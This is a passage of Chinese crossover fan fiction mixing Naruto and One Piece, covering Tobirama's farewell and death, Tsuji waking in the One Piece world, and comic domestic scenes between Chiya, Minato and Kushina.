“小千弥是个不错的孩子吧?”水户的语气恢复了温和,灰色的眼睛像环绕着涡之国的大海一样包容。
最近总是被辻捉弄着叫做“Tobi-chan”故而听不得小(酱、chan、ちゃん)的千手扉间反驳:“不过是一个乐观又天真的天然呆而已。”
“天然呆?相当高的评价呢,你这不是很喜欢那孩子嘛。”水户笑出声,“扉间嘴上说着嫌弃,但格外钟爱这个类型的人呢。”
千手扉间双手抱胸,留给水户带着一道红色面纹的侧脸,“只是恰巧而已。”
“可我认为那孩子会很喜欢你哦,”习惯了千弥花式夸夸的水户按照千弥的思维大胆猜想,“那孩子应该很喜欢你脸颊上红色的面纹。”
注意到千手扉间身体不自在地僵硬了几分的水户趣味更浓了,“白发也在那孩子的好球区。”
“水遁呢?小千弥非常喜欢大海,如果她知道你格外擅长水遁的话,一定会闪着星星眼转着圈地摇起尾巴对着你大夸特夸。”
开始盲猜的水户想起了什么,恍然大悟地敲手道,“还有名字,横跨了四行音的名字也是不容忽视的重要特色。”
千手扉间终于忍不住地出声反驳:“这种名字哪有特色啊。”
“我猜中了?”
观察着扉间的表情,漩涡水户笃定道:“那孩子喜欢你的名字。”
千手扉间再次闭口不言。
在漩涡水户体内的橘红色大狐狸看着外面的景象嗤嗤地发出嘲笑声——
凭它的了解,千弥那家伙绝对是因为它的名字九喇嘛(kurama)才会爱屋及乌地喜欢上别的“喇嘛”(rama)。
它的优先级在别的“rama”之上!
真是可悲啊,被一只狐狸踩在脚下了呢,木叶的二代目火影。
九喇嘛在笼子里惬意地甩尾巴。
20.托付未来
“我可是一点也不擅长告别啊。”
辻耷拉着脑袋坐在地上。
越是临近分别之日,他的喉咙越是像被堵了一团不断膨胀的棉花,胸口也又涩又涨,像溺水般呼吸不畅。
打开了两卷卷轴进行比对删减的千手扉间听到辻的叹息往旁边瞥了一眼,继续提笔写下忍术解析。
“对了,你这几天和小千相处的怎么样?”
山不见我,我自去见山。好一会没听见想要的安慰,从地上一路蹭到千手扉间身边的辻推推冷脸的先代火影,没注意到在自己的推撞下写满了小字的卷轴上多出了极为突兀的横来一笔。
“你是想通过影响古蹊千弥的志向和职业规避未来的结局吗?”
放下毛笔,千手扉间的红瞳里充满了凝重之色。
他可以理解辻的爱女之心,但从他的角度来看,这算不上好的选择。
根据未来的波风水门的叙述,古蹊千弥在忍战期间先后跟随朔茂和纲手对战沙隐忍者、雨隐忍者。毫无疑问,未来的千弥拥有了同辻相当的那份能够看透未来的力量。能够在小小年纪得到“操刀鬼”这样的称呼,古蹊千弥在战场上的作用注定是无可替代的。
有千弥参战的木叶可以在第二次忍界大战中减少很多损失。
“哈?小千连她想要出海做海盗这么大的梦想都跟你说了?”与千手扉间的电波完美错频,不打自招的辻把家里那点事全给秃噜了出来。
“海盗?”千手扉间皱眉,“不是出海旅行吗?”
“噗——哈哈哈哈!”险些笑岔气的辻用胳膊肘借力支撑起身体,歪歪斜斜地靠着千手扉间的椅背,“小千和你说是出海‘旅行’?小心上了贼船可就下不来了。”
“快跟我说说,你被邀请了吗?”怼怼千手扉间的胳膊,辻抬起头看着桌面的卷轴,“三维定位与标记感知?飞雷神详解版?给水门准备的吗?”
千手扉间应了一声,补充道,“不是特意为某个人,只是希望木叶有潜力的后辈能学会这个术而已。还有,我拒绝了。”
“还真邀请你了?”辻怔了一下,失笑道,“那孩子不知道靠什么标准认人,连一起生活的水门都没收到邀请。”
“不要跑题,那个与忍者世界格格不入的梦想是怎么回事?”把话题拉回原点的千手扉间抬头看着辻。
“不用担心,小千会成为很棒的忍者的。”辻滑回到地上,顺势躺下后盯着天花板的木头纹理留下一声长长的叹息,“你就当这是小千在少不经事时期对自由的粗略探索吧。”
“你不像是会认命的人。”
千手扉间盯着地上已经阖目的辻,不疾不徐地说出了自己近些天的行动,“虽然不知道你的计划,但我在古蹊千弥的身体里封印了我的查克拉。”
“?!”
古蹊辻猛地睁开眼。
“查克拉?你要当无尾尾兽?”
“你正经点,我正说着正事呢。”不想多此一举地俯下身去打人,千手扉间双手抱胸,凌厉的红瞳目视远方,“我在千弥体内封印的查克拉足够发动我所掌握的大部分忍术。”
保险还能这么上?
不愧是千手扉间!
古蹊辻一脸震惊,随后恍然大悟般小鸡啄米——
学到了,回去就把自己的霸气封印进小千的身体里。
“但是——”千手扉间话锋一转。
“但是?”古蹊辻傻愣愣地跟着重复。
“有些术的发动需要辅助,比如飞雷神。”
“标记吗?”这次辻反应的速度很快。
“没错。”千手扉间点头,“既然17岁是重要节点,那么在那期间,千弥身边需要有我的查克拉能随时感知到的标记。”
“扉间——”辻的说话语气犹犹豫豫、吞吞吐吐,在千手扉间奇怪地看过来时,古蹊辻体内沉寂的吐槽之魂熊熊燃烧,“我莫名地生出一种‘千弥小屋’里住进了一位老爷爷的怪诞感。”
“咚!”
“都说了我在说正经事,你不要打岔!”
收回拳头的千手扉间恢复了双手抱胸的姿势移步坐回到座位上,“你有心仪的推荐人选吗?”
“朔茂?不行不行!”这家伙是17岁千弥身边潜在的危险分子。
自说自话一通紧跟着连连摇头的辻忽然想到了玖辛奈,那位在未来接替水户成为了二代九尾容器的女孩。
“算了,你来找吧。”辻捂着脑袋叹气。
他希望玖辛奈能够跟随漩涡一族的多数人一起离开,不必承担那样无谓的使命。
漩涡一族已经加强了沿海的边防部署,缺乏战力的族人也暗暗收拢到了村子的核心地带。关键之日那天即使漩涡一族以举族“搬迁”作为结局在忍界谢幕,应该也不会落下族人,尤其还是住在族长家的小孩。
分别会很痛苦,但小千和玖辛奈一定还会再相见的,他把这个期限定在了15年之后。所有人全部活下来,然后带着喜悦享受盛大的重逢吧。
“宇智波镜。”千手扉间沉声说出心中敲定的人选。
事实上,千手扉间已经通知镜过来了。
“是可靠的卷卷啊。”辻答应得很快,“那孩子也是千弥认识的宇智波。”
“扉间大人,辻大人。”
宇智波镜不是第一次走进这座千手元素十分浓厚的古朴建筑。看着巨大的千手族徽,宇智波少年带着点局促的同时肃然起敬——这是在战国时代同宇智波一族并立的忍族。
只是听着听着,原本用于记事的写轮眼中三个勾玉逐渐高速旋转,什么叫“17岁的古蹊千弥会死亡?”
“楼兰那次,我和朔茂因为龙脉的查克拉被卷到未来去了。”辻向一脸困惑的镜简述自己和朔茂的时空之旅。
“扉间大人,辻大人。”宇智波镜双膝并拢,正色道,“那一天我前往了另一个时空的过去。并见到了未来的千弥小姐。”
“嗯?“辻闻言瞪大眼睛,“欸???”
他的脑子不太够用了!难道书也有平行世界?为什么镜能穿透书的束缚?!虽然是书的造物,但他们所生活的时空也是实实在在的一个独立世界啊。
“不要激动!”
他都闻到血味了!
强行把屁股像安装了弹簧一样原地弹起来辻按到自己的座位坐下,千手扉间运用掌仙术覆在古蹊辻的伤处。
“过去的未来的千弥是怎么回事?”一如既往的会抓重点的千手扉间恶狠狠地在像大鹅一样不停往前探头的辻的脑瓜上敲了一下,“你给我老实点!”
“嘤!”
“被绿莹莹的查克拉笼罩后,我出现在了木叶忍村建立前宇智波一族同千手一族某场对战的战场之中。”
“你这连落地的地点都变了。”
辻吐槽,辻挨打,辻抱着头不吱声。
“当时的千弥小姐——”
“叫千弥就好了。”
宇智波镜从善如流地改变对千弥的称呼,“我出现在战场时,千弥打倒了宇智波泉奈,正向扉间大人示好。”
“总感觉,卷卷你口中的‘打倒’和‘示好’都是了不起的缩略和概括。”辻淡淡地吐槽。
“闭嘴。”
千手扉间心平气和地听着镜在前往过去后与宇智波一族以及千手一族交往的经历,犹有余力地制裁辻。
“咚!”
“我……还是病人……”
“在那之后,我和千弥一起在旁边见证了宇智波一族的族长宇智波斑同初代目火影大人千手柱间的决战。在村子的诞生后不久就回来了。”
说到这里,宇智波镜忍不住对着千手扉间“摇尾巴”。
见到初代目火影并与之相熟后,他多少对热情地邀请自己去赌坊并且赌运貌似不佳还带坏了千弥的柱间大人有些滤镜破碎的幻灭感。
与此同时,宇智波镜心里节节攀升的情感是对扉间大人的无限崇敬。
能压制住过于不拘小节、不管什么都大方地往外送的柱间大人,在各个家族之间斡旋、用缜密的头脑将村子各项制度从无到有地一步步落实,二代目火影大人果然还是太伟大了!!!
“那个千弥大概有多少岁?”千手扉间顶着镜灼热的目光,思索一番后开口询问。
到目前为止,他不能排除古蹊千弥误入了平行时空的可能,这个千弥是否和未来那场秘而不宣的死亡有关?亦或许,镜所见到的千弥本就是其他时空的千弥,只是恰好与镜发生了一次超越时空的偶遇?
“17、18岁?”
睁着三勾玉的写轮眼,宇智波镜用幻术在千手扉间和古蹊辻面前重现自己见到的那个千弥。
“有什么想法吗?”
千手扉间垂眸看辻。
“没有,不过竟然看到小千长大了呢呜呜呜~”
“算了,就不该问你。”
“等等,我还有话说!”挣扎起身的辻喘了一会儿,“我有委托楼兰的新女王在下一次换代时指定木叶的古蹊千弥做护卫。”当然顺便再唱唱歌,走一遍前人走过的道路。
宇智波镜听着辻的话十分自然地想起了第二天一早便不见身影的辻。原来辻大人已经做了这么多规划。
“你这不是把事情搅得更乱了吗?”千手扉间面无表情地吐槽,极为顺手地拍向辻的肩膀。
“总之,宇智波镜。”千手扉间起身看向面前这位沉稳冷静、身手不凡的前部下,“你能接受我在你身上留下飞雷神标记,并在古蹊千弥17岁这一年暗中提供保护吗?”
“是!”
同时具备木叶激推、二代目激推两种属性的宇智波镜眼中闪过自信的光芒。
“这可是一辈子都去不掉的标记哦。”看着二话不说便卷起袖子伸出手臂的宇智波镜,辻好心提醒。
“这也是宇智波镜受到扉间大人信赖的荣耀象征!”宇智波镜大声地回答。
“扉间,你是给镜灌迷魂汤了吗?”还是说这个宇智波变异得太彻底了?
“咚!”千手扉间不语,只是一味地敲木鱼。
“不
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过,辻大人受的伤还没好吗?”镜嗅着空气里极淡但不容忽视的锈气,谦和的少年眼中满是担忧。
“啊,这个啊。现在说出来也无妨,其实我快死了。”
“不用太惊讶,那可是六道忍具欸,我从前一直以为六道仙人只是古老的传说。”辻在镜卷卷的黑色短发上揉揉,“很抱歉,过早地向你透露了这样糟糕的未来。请不要有太大压力,无论结局如何,小千都有自己的路,你们也是。”
看完了辻传递给自己的信息,迷迷糊糊的镜猛地清醒过来。
未来十几年的时间里竟然发生了这么多的战争。
“漩涡一族——”宇智波镜看向出身于漩涡一族的辻。
“已经在安置了。”
“海未大人……”
“有些对不起小千…”辻露出苦涩的笑意,打起精神,“但没办法嘛,谁叫我更让人放心不下呢。”
“第二次忍界大战——”
“也都告诉日斩了。”
“扉间大人——”说到这里,宇智波镜声音发颤,眼眶里满含泪水。
“我们正在走向既定的终局。”千手扉间将手放在宇智波镜的肩头,缓和了声音安慰道,“无论如何,大胆地向前,未来是属于你们的。”
“扉间-chan,这种哄孩子的语气你从来都没对我用过。”
送别了宇智波镜的千手扉间与古蹊辻在檐廊上一站一坐,一个抬头望天,一个低头看地。
“辻,你有想过我们会失败吗?”
“想过。但是理论上可以再交给过去的我吧?我把我们全部的经历写进卷轴里了,到时候交给水门,再转交给过去的我吧。”
“前提是,我们的未来能够进入循环。”时空理论精密又复杂,哪怕是千手扉间也没有信心让一切按计划发展下去。
“我有告诉小千要随性自由地生活。”辻抱着膝盖,“即使未来无法改变,小千也一定可以恣意又精彩地活过一生。”
而且,小千可是世界的“守护神”,一定、一定不会有问题的。
“辻。”千手扉间看向身上血气弥散到不容忽视的辻,“你应该也清楚,再这样下去,你会走在我的前面。”
“……”
“我会用禁术把我剩余的生命力给你,也带着我的那份一起完成守护漩涡的梦想吧。”
“……”
“未来的我一定也是这样做的。”
“……”
“我可是很小就不会抱着腿哭泣了。”
“……”
千手扉间看着浑身都在颤抖的辻无奈叹气。
“这种时候别任性啊。”
……
古蹊千弥和波风水门被海未带着参加了二代目火影的葬礼。
“爸爸不去吗?”一袭黑衣的千弥站在门口回望着沉默地在卷轴上奋笔疾书的身影。
“欧多桑的话,已经在早些时候和二代目火影大人告别过了。”
海未整理好水门的领口后起身,一左一右牵着两个孩子出门。
衣襟上别了一朵白花的千弥看着来往的人群,跟着母亲的脚步走向棺木,献上自己手中攥着的花朵。
木叶失去了自从木叶隐村建立起来就一直护佑他们的二代目火影千手扉间。
仪式结束,千弥回头遥望高高的岩壁之上那尊永远沉默地注视着整个木叶的石像,静静地盯着雕刻工艺抽象但个人特征鲜明的颜岩上的三道刻痕。
有些邀请如果不能及时说就再也说不出口了。
还没攒足“结纳金”的古蹊千弥失去了想要招募的船员。
千弥听到母亲和自己说“生者为过客,死者为归人。有朝一日,所有人都将在净土重逢。”
两个月后,失去了父母的古蹊千弥放弃了自己不切实际的梦想,努力学习着做一个值得他人依靠的“大人”。
“水门比我更需要安慰吧。”被木叶的暗部成员带到水户那里,过了许多天才回来的千弥抱住身形单薄地站在门口迎接自己的波风水门,“对不起,把你一个人丢在家里。对不起,明明水门也失去了父母,在水门需要安慰的时候,我却躲在了其他的地方。”
“我向你保证,古蹊千弥再也不会把水门孤零零地丢下了!”
羽翼渐丰的海鸥轻轻地落在千弥的肩头,张开双翼。
总是吵着要吃薯条的小万难得沉默地将两个无声但早已经泪流满面的小孩一并护佑着拢入羽下。
“约定好了。”回抱住千弥的波风水门抚着女孩的头发,眼睫挂着泪珠,“作为回报,我也会一直陪着千弥的。”
用衣袖吸干了泪水的千弥把头埋在波风水门的肩膀,声音沉闷闷的,“不需要这样的回报,水门只要做自己就好。我会守护你的。”
“我也有一样的想要守护千弥的心情。千弥也是,像从前一样,做自己就好。”
“嘎——”
跳到水门肩上的海鸥轻轻啄了一下水门和千弥的头发,挥着翅膀示意两人不要忽视了自己。
21.番外篇 辻:初始之地
拥有“天才诞生的国度”之称的冬日岛屿,巴尔基摩亚——
“醒了!醒了!”
记录大脑数据的某块屏幕上出现异常的波动,紧接着,一块又一块屏幕接二连三地弹出尖锐的警报。原本眉头紧锁、一脸苦相的科学家们一反常态地拍手欢呼——辻的沉睡时间已经严重超出了他们的预期,望着一沓沓堪比死水的精神数据,他们几乎要以为被天才科学家贝加庞克托付过来的海军中将会就此变成植物人!
“......”
“辻中将?您还好吗?”留守在巴尔基摩亚看护辻的海军辅佐官走上前,小心地上前与辻对话,检查对方的精神状态。
背景板中,巴尔基摩亚本地的科学家们啪嗒啪嗒地在键盘上敲击,低声地交流私语。亮莹莹的屏幕上充斥着各种各样实时的生物数据、电波频谱。
“没事。”
“您苏醒的真是太及时了,就在昨天卡普中将率领sword部队的成员去黑胡子的大本营蜂巢岛解救克比大佐去了!”
愣了两秒的辻头痛欲裂地躺下。
他还没从在涡之国的那场战斗中缓过来。
“中将?我们难道不去吗?”摸不着头脑的辅佐官看着两眼一闭、原地躺下的长官。
“去。”
“破冰船已经准备好了!”万能的辅佐官鞋跟碰撞,挺胸昂首对辻敬了一个标准的海军军礼,“玛丽乔亚方面也联系完毕,我们可以径直通过红土大陆,预计5天直达新世界!”
部下办事效率太高,他想偷懒都充满了罪恶感。
辻嘘地叹气,起身,活动身体。
“走吧。”
“对了,感谢各位这段时间的关照。”
辻对着科学家们礼貌地90度鞠躬。
“诸位......你们还记得流传于科研界的传说‘灵魂之重’吗?”
“是那个灵魂与21g的关联?”有神学爱好者提出了疑问。
看着新鲜出炉的报告,年迈的科学家手臂抖如筛糠,“如果我们收集到的数据没错、如果那个传说是真的,那么现在那位中将大人的身上还承载着两个外来的灵魂!辻中将在醒来的瞬间,体重足足增加了63g!”
“欸?!!!”像礼花似的的,一群人四散着震惊倒地。
那么,现在的辻中将看着是一个人,实际上是三个人?!未免太诡异了!
本就身处于常年阴寒积雪气候的冬之岛,听到这番结论的研究员们骤然感觉环境温度再次狠狠地下降。
“通过其他数据再次检验一遍结论。要尽快!”
首席一锤定音,研究所狠狠地震了两震。
“臭老头!”航行速度落后于卡普,终于赶到蜂巢岛的辻看着几乎尘埃落定的局面,一剑砍翻了试图偷袭平民的海贼。他死死地盯着躺在地上被前海军大将用寒冰化作的刀刃穿透了胸膛还大笑着的老头,“现在死掉的话,可就见不着你的曾孙女了。”
“曾孙女?”
笑着在心中托付了未来卡普表情霎时间凝固,眼中的泪花更是化作碎冰,落进眼中激起阵阵刺痛。逆光的冷峻身影不像是讲笑话,卡普彻底笑出不来了。
他的大孙子消失几个月后竟然给自己造了一个曾孙女出来!
“瓦力呐,库赞。”年近80的海军英雄像个犯错的小孩子麻溜地在自己大孙子吃人一样闪着寒芒的眼神中从地上爬起来,“现在还不是睡觉的时候。我要回去看看曾孙女。”
眼看着自己的冰被咔啪啪地掰断,库赞好奇地看向辻,“真的?”
“骗你又没有贝利。”辻抱着胸,瞪出死鱼眼,“库赞你最好告诉身后那群小混混们别乱动。”
“霸王色吗,海军里竟然还藏着这号人物。”雨之希留看着正粗犷地用手拍打被冰冻结住的伤口的卡普,“大闹一通后竟然还给自己留了后手,海军的英雄似乎并非传言之中的无脑鲁莽之辈啊。”
就算没有了克比,若是能拿到海军的英雄卡普也是黑胡子建立黑胡子王国的重要筹码。希留思忖着摸了摸手中染上了英雄之血的长刀。
“想回家的话,我不介意顺路送送你,希留。”
黑红色的闪电在皲裂的地面炸响,一头鲜血的男人感受着如山的压力,鬣狗一样贪婪地盯着眼前这只獠牙尽显的猎物,随后讪讪地摆手。
“我现在还不想去见麦哲伦那家伙,算了吧。”
接受了卡普霸气摧残的小海贼们不等完全苏醒,就迎来了新的一轮洗礼。
“老头子你没什么想向我解释的吗?”
辻抓着老头的衣领,“几个月不见白胡子附体了?海贼王上身了?还是海军英雄的英雄之魂到暮年突然熊熊燃烧,把脑子也一起烧没了?想用自己去开辟海军时代了?嗯?”
眨着眼睛试图向博加特求救,不料被自己的辅佐官冷酷地将长官无视,甚至不留情面地伸手挡下了sword小队成员,卡普冷汗直流。
解释、解释,快解释!
有点生锈的脑子久违地咔咔转动,只是脑袋里发出的噪声比破旧的二手自行车还响,试图解释但惨遭滑铁卢的卡普不太聪明地转移焦点,“你说的我的那位曾孙女在哪里?”
全是汉子的蒙奇家有女娃娃了!
“另一个世界。”心头的火一把接一把地烧,辻大逆不道地扯了扯卡普变形严重的衬衫。
“哈?”
“我说完了,该你了。”青筋鼓起,恶鬼附身般的男人身上满是象征阴暗的黑影,“臭
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老头。”
“啊、哈哈、哈!”当着众多海军新锐的面,在蜂巢岛大出风头展现了英雄余晖的男人果断朝自己的孙子低头,“我已经知错了!”
“接下来我要去未来岛找贝加庞克,我不在的这段时间你最好消停点。”
“报告!”辻可靠的辅佐官背着手在海鸥都不敢落脚的军舰上干脆利落地出声,“最新新闻,Dr.贝加庞克被海贼草帽一伙绑架了。”
离辻最近的卡普清楚地看到大孙子近乎黑色的眼睛里逐渐泛起红光,安静如鹌鹑的卡普默默地在心中为路飞祈祷。
快跑吧,路飞,你的哥哥要疯了。
“布鲁布鲁,测试测试,世界——世界——请回答——”
无人接听的电话虫自动发出了声音。所有人的目光都落在了小小的像是环绕着圣光的电话虫身上。他们也快受不了这种氛围了,辻中将似乎随时会暴起咬人!
“是贝加庞克的声音。”
把爷爷往地上一丢,辻要来了近期的新闻简报。
“政府和海军近期有什么动向吗?”
“CP近几个月试图潜入未来岛,阿拉巴斯坦也有政府人员的活动,波鲁萨利诺大将率领多位中将,集结了100多艘军舰登陆未来岛。露露西亚王国亡国,一周后海平面出现明显的上升,大概率是政府所为。阿拉巴斯坦王国国王遇刺身亡,公主下落不明,报纸刊载的凶手是革命军萨博,但真实情况存疑......”尽职尽责的辅佐官口齿清晰地进行一长串的汇报。
辻沉默地看向电话虫,卡普无比自觉地去船舱搬映像电话虫。
“...这个影像......会在我的心肺功能停止的同时播放出去。”
不敢挨着辻,干脆坐在映像电话虫身边的卡普眼珠子瞪了出来——他的孙子杀了辻要找的世界第一的科学家!那他岂不是马上也要被他孙子“杀”掉了!
“臭老头,你在胡思乱想什么呢。”辻眯起眼睛看着满怀心事的便宜爷爷。
“没!老夫什么都没有想!”捂着嘴的卡普眼睛瞪得溜圆。
“通讯似乎不太好,想必未来岛此刻正在发生战斗吧,发射信号的电话虫想必已经被政府的人找疯了。”
听着辻的判断,卡普看着一闪一闪的图像惊讶地吹出一个鼻涕泡,“政府?不是路飞吗?”
辻坚信能在世界政府手中聪明地留下这种爆炸性影像信息的天才不可能没有为自己留下退路。他需要老友的帮助,无论是分离出身体中寄宿着的海未和芦名老头的灵魂,还是回到书中世界拯救小千的生命。
所以,臭弟弟,一定要和同伴们保护好贝加庞克啊,努力从CP官员、海军大将、100艘军舰以及人间兵器们的手下逃出生天吧!
22.美味招牌蘑菇蛋卷
明明说好了要守护水门,可事实却是自己的衣食住行方方面面都在受到水门的关照,连自己“捡”回家的汪酱们水门也任劳任怨地帮忙一起洗。
在木叶的慰灵碑前驻足许久,向满是英雄之名的碑石寄托思念,同父母汇报日常的千弥忽然想起了自己也要做值得他人依靠的大人的宣言。回忆着与水门相处的时光,羞愧难当、痛定思痛的小孩决心做出改变。
清晨,奈良宅的木门被一位意料之外的小客人敲响。
织音看着正襟请求向自己学习厨艺的小千弥忍不住捂嘴轻笑。带着慈爱笑颜的黑发女人将发丝上还挂着薄薄的一层露水的小客人迎进客厅,拿出干燥的毛巾在千弥头上囫囵地柔抚。
这个孩子有在好好地长大呢,海未,辻。
“既然是一起生活,那我和水门就应当是‘相互’关照吧。”
整个人陷入织音的怀抱,带着一身不自知的凉意的千弥认认真真地诉说自己的发现,“我每天都在吃水门做的饭,只有洗碗的时候才能派上用场,和汪酱还有小万把屋子弄乱后还要水门帮忙一起收拾……也许水门没有我,独自一个人会生活得更好也说不定。”
“所以小千弥就想到了学习厨艺吗?”摸摸已经干燥不少的柔软发丝,织音起身为千弥拿了一杯热乎乎的小红豆汤。
“我也想帮水门分担家务。爸爸和妈妈就是这样的,体恤另一个人工作的辛苦,无论什么都尽可能地帮忙分担。”千弥双手握成拳放在胸前,“虽然爸爸做的饭有时候连汪酱都不吃,但重要的是态度。”
“那小千弥是想让水门看到你的态度?”织音看着千弥绷紧的脸颊,有意思地伸手戳了戳。
看着硬鼓鼓的,实则还是软绵绵。
“不仅要有态度,还要能真正地帮忙分担水门的劳动。”千弥给自己打气。
火候、时机、翻转!
用十分钟跟着织音阿姨学习了如何将蛋卷煎得金黄又柔软,千弥带着学成后的心得飞奔回家。
“然后你就用蛋卷把水门送进了医院?”
奈良鹿久看着因为自己的一句话整个人像被霜打了一样弯着腰垂泪欲泣的千弥,无奈叹气,“医生说下午就能出院了,不用担心那小子。”
“是古蹊家特色的豪华蘑菇煎蛋卷。”
奈良鹿久:……
他该说千弥什么好啊……算了,这样也挺好的,还有精神抬杠呢。
奈良鹿久望着阴沉沉的天花板无比心塞。
“怎么想起来做饭?这种活不是水门负责的吗?”
“想分担家务。”啪嗒啪嗒的泪水落在手背,千弥睁大眼睛看着花糊的色块,竭力阻止更多的泪水落下。
奈良鹿久想了想自己家的家务分担情况,试着打消千弥的想法,“每个人都有擅长的领域——”
一道被极力压抑着的小兽般的呼呼的呜咽声颤颤地往耳朵里钻,鹿久抓了两把头发只好改口,“下次不往蛋卷里放蘑菇就好了。”
“大不了我给你当菜品的试吃员。”
“别哭啦,千弥你果然是个爱哭鬼。”
事实上,奈良鹿久连泣音都听不到。
把将自己团着埋进衣袖的千弥从病房外的坐椅强行拎到地上,扎着奈良一族标志性冲天辫的小少年双手擦着千弥湿漉漉的脸颊,睁着眼睛胡言乱语,“都是蘑菇的错。”
“鹿久。”
“嗯?”奈良鹿久盯着千弥水润的眼睛,那片深色的大海正在悲伤。
“说谎话鼻子会变长的。”类似的托词她在书上读到过,岁也,兵也,还带典呢。
这个家伙真的有在反思吗?
手攥了攥握成拳,最后脑瓜崩落在了千弥的额头。
“好痛——”
鹿久若有所感地回头,老爸老妈不知何时并肩站在走廊的拐角。
呼痛的千弥,欺负人的他。这个情景怎么看都不妙啊。
火影楼——
借由望远镜之术透过水晶球查看着医院情况的日斩起身仰望天空中悠悠地随风飘浮的白云。
“波风水门的生活能力毋庸置疑,但他真的能和古蹊千弥平安长大吗?”
比起担心千弥,在老师猿飞日斩身边旁观了全过程的纲手更担心那个倒在了蘑菇菌盖下、未来大有所为的金发少年
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。
“这样的事想必不会再发生了。”旗木朔茂笑着打圆场,“那孩子不是很及时地把水门送到了医院吗,看病付费的流程也是独立完成的。临危不乱,处变不惊,这个年纪已经超过很多人了。”
猿飞日斩背着手缓缓开口,“就让那两个孩子相互扶持吧。”
“千弥。”
“嗯。”
手牵手走在归家途中的波风水门看着眼眶泛红的千弥,微笑,“别担心,我没事哦~已经完全恢复健康了。”
“而且,买菜、收衣服、给汪酱们梳毛、钓鱼、补充生活品。”波风水门细数千弥的“功绩”,伸出手指将千弥随着心情垂坠的发端卷得反翘,“千弥在家中做了很多事,我也都有看在眼里。”
“波风水门的生活如果缺少了千弥的话会变得单调又孤单的。”
“真的吗?!”
乍现的笑容无比明艳,波风水门望着凑近了的千弥眼底那片沉甸甸的藏蓝色,笑着回应,“当然了。”
“千弥。”
“嗯!”恢复精神的小狗亦步亦趋地跟在水门身后。
走进厨房取水的波风水门看着眼前那口被焰心烧得通红的黑锅,不动声色地用身体挡住了千弥想要跟上来的步伐。
少年深呼吸,艰难地维持住脸上的笑容,回头说道,“以后下厨这种小事就请交给我吧。”
“我还很会做烤鱼。”
举着爪子,睁着圆圆的双眼试图表现自己的千弥被水门无情地关在了厨房外。
隔着门,趴在门框上的千弥听到了从里面传出来的声音,“请不要在家里独自烤鱼。至少要有汪酱的监督,小万不行。”
木叶村的另一头——
旗木朔茂看着手中临期却还剩大半的犬沐浴露沉默地给自己的忍犬们做了一个洗澡的排班表。
“你们这些家伙......至少在家里洗完澡再往外跑吧。”
“时不待犬啊,sakumo。”率先享受旗木家招牌撮毛服务的斯托卡向朔茂伸出满是沐浴露泡沫的狗爪,用一种高深莫测的语气回答道,“我们的竞争对手可是全村的‘野犬’。”
23.高级消防员
漩涡玖辛奈坚信她笨笨的偷摸大鸡被那只老抽色的邪恶金毛犬给欺骗了!
能把开朗的乐天系笨蛋无形中调教成一朵内耗的阴郁菇菇,那只邪恶金毛是有点手段在身上的。
故而,得知金毛犬自作自受进了一趟医院后,和其他人不同,玖辛奈完全是抱着嘲弄金毛的心情去千弥家拜访的。当然,在千弥面前,她不能表现得太过明显。
不管看多少次千弥家门口挂着的一长串的彩色贝壳,玖辛奈心里总是能涌现出软乎乎的暖意。
眼前的每一只贝壳都是她和千弥友情的象征!
“千弥!”
没钥匙的玖辛奈咚咚地敲门,等了近半分钟,红毛小狗看到了从门后出现的金毛犬。
“欢迎来到我和千弥的家,玖辛奈酱~”
漩涡玖辛奈谨慎地往里面看了一眼,没人。再用查克拉感知一下,偌大的家里竟然只有波风水门一个人的气息。
“千弥呢?”面对波风水门,防御全开、火力十足的玖辛奈没有选择直接进门。
“因为实在放心不下我的身体,千弥出去买适合病人的食物。”
漩涡玖辛奈觉得虚虚地靠着门、60度温柔望天的金毛有点娇柔得过了头。出于对危险的敏锐感知,单细胞小狗本能地寒毛直竖。
“那我就在外面等一会嘚吧内。”玖辛奈下意识地后退一步。
“为什么玖辛奈酱总是和我‘针锋相对’?”看出玖辛奈的退意,波风水门果断抓住时机大举进攻,“大家不都是千弥的好朋友吗?为什么唯独对我是这种对抗的态度呢?”
坚信“我的朋友也是我朋友的朋友”,古蹊千弥凭一己之力将所有的朋友们串联了起来,尽管朋友们之间因为年龄或其他这样那样的原因可能相处寥寥,却也都是见面后可以驻足问候的交情。千弥的朋友们都很和善,来到木叶的漩涡玖辛奈并没有特别孤单。
玖辛奈的眉头狠狠地皱起,“你不是也说了吗,千弥是大家的,那你为什么总是一副‘千弥是自己的’的态度?那家伙把自己弄得脏兮兮的时候,我们也可以给千弥擦干净吧,大包大揽把千弥当做所有物的人明明是你!”
波风水门不接受这种指责,“因为我是千弥未来的丈夫啊。照顾好妻子是作为一名合格的丈夫最基础的义务和应当履行的基本职责。”
“哈?”技能放空的红毛小狗大口吃下金毛的大招,表情空白。
她的偷摸大鸡呦,你最最最最最好的偷摸大鸡好像聋掉了。
这个人是千弥的丈夫的话那个白头发的忍犬契约使sakumo又是谁?
小小年纪的你竟然准备娶两个吗?
这对你小小的纯爱派偷摸大鸡有亿点超标了!
独自一人守着太多秘密以至于陷入宕机状态的玖辛奈战斗意志大减,面对乘胜追击的波风水门也只是嗯嗯啊啊地随便应付一通。
漩涡玖辛奈是被辻的海鸥卫队中一只不知名姓的小海鸥、未来三忍中的两位以及在公式书中明确表明了实力更胜三忍的旗木姓男子护送着来到木叶的。
从那位很不正经,眼角涂着红色三角形漆面的那位青蛙王子那里,她知道了另一位戴着面具的忍者的“秘密”。
不出一声的暗部忍者感知到忍者查克拉拔刀离开后,察觉到自己内心不安的妙木山仙人告诉自己——
“别看朔茂那家伙一声不吭,实际上他可是超级关心漩涡的。”
怀疑sakumo是什么大众名的玖辛奈没等反应过来就又听到自来也的问题——“你知道古蹊千弥吗?”
“当然了!我们可是最最最好的偷摸大鸡!”
“那问题就更简单了。”
玖辛奈看到自来也的眼睛弯成粗粗的、两头圆圆的黑线,连黑色的瞳孔都透着一股猥琐的气息。
“别看那家伙年纪大,朔茂那小子可是你好朋友未来的这个哦。”
自来也贱嗖嗖地举起了小手指。
知道这是什么含义的玖辛奈不可置信地“欸——”出声,闻声上前的纲手看看玖辛奈又看看自来也,不留情面地在同伴的手指上用力一掰。
“啊!”一声惨叫划破天际。
这点小插曲当然还不足以让玖辛奈信任自来
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也的话。
于是她在和几位流落的族人安顿下来后又亲自询问了水户奶奶。
“这个啊……”头一次给辻收拾这种烂摊子的漩涡水户正想说这是谣言,又突然想起了混乱的未来。于是,她说,“是有这样的可能。”
“欸?可是……”深深信赖着水户奶奶的小玖辛奈不可思议地睁大了眼睛。
某日深夜,想要找千弥倾诉的玖辛奈远远地看到了房顶上一黑一白的身影。
